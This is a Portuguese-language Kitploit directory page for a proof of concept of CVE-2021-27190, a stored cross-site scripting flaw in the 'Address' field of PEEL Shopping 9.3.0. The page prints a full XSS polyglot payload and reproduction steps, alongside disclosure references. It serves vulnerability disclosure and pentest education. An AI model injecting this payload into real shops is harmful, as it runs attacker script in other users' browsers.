Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS — Exploit de prova de conceito demonstrando uma vulnerabilidade de cross-site scripting armazenado no parâmetro 'Address' do PEEL Shopping 9.3.0, incluindo payload e etapas de reprodução. | Kitploit
Ferramentas/GitHubGitHub/anmolksachan/cve-2021-27190-peel-shopping-cart-9.3.0-stored-xss
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubanmolksachan/cve-2021-27190-peel-shopping-cart-9.3.0-stored-xss

CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS

Exploit de prova de conceito demonstrando uma vulnerabilidade de cross-site scripting armazenado no parâmetro 'Address' do PEEL Shopping 9.3.0, incluindo payload e etapas de reprodução.

Ver Repositório
331há 5 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-27190 - PEEL Shopping, carrinho de compras eCommerce - Vulnerabilidade de Cross-Site Scripting Armazenado em 'Address'

Assista ao vídeo

Data

2021-02-11

Autor do Exploit

Anmol K Sachan

Página do Fornecedor

https://www.peel.fr/

Link do Software

https://www.peel.fr/nos-offres-1/peel-shopping-31.html
https://sourceforge.net/projects/peel-shopping/

Link do Software Vulnerável

https://drive.google.com/file/d/1dIwRdaqtEyqUUgxbRqrHiS5WQ10nEG8z/view?usp=sharing

Software:

PEEL SHOPPING 9.3.0

Tipo de Vulnerabilidade

Cross-Site Scripting Armazenado

Vulnerabilidade

XSS Armazenado

Testado no Windows 10 XAMPP


CVE Atribuído

CVE-2021-27190
Este aplicativo é vulnerável a vulnerabilidade de XSS Armazenado.

Script Vulnerável

http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php

https://github.com/anmolksachan/CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS/edit/main/README.MD## Vulnerable parameters 'Address'

Payload utilizado

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Prova de Conceito (POC)

https://drive.google.com/file/d/1t1hksDsYqYsqryRq61tNIQQMTCFidtc1/view
Na mesma página onde injetamos o payload, clique na caixa de texto para editar o endereço.
Você verá seu código Javascript (XSS) executado.

Referências

  1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27190
  2. https://packetstormsecurity.com/files/161367/PEEL-Shopping-9.3.0-Cross-Site-Scripting.html
  3. https://www.exploit-db.com/exploits/49553
  4. https://www.secuneus.com/cve-2021-27190-peel-shopping-ecommerce-shopping-cart-stored-cross-site-scripting-vulnerability-in-address/
  5. https://cxsecurity.com/issue/WLB-2021020054
  6. https://nvd.nist.gov/vuln/detail/CVE-2021-27190
Baixar ferramenta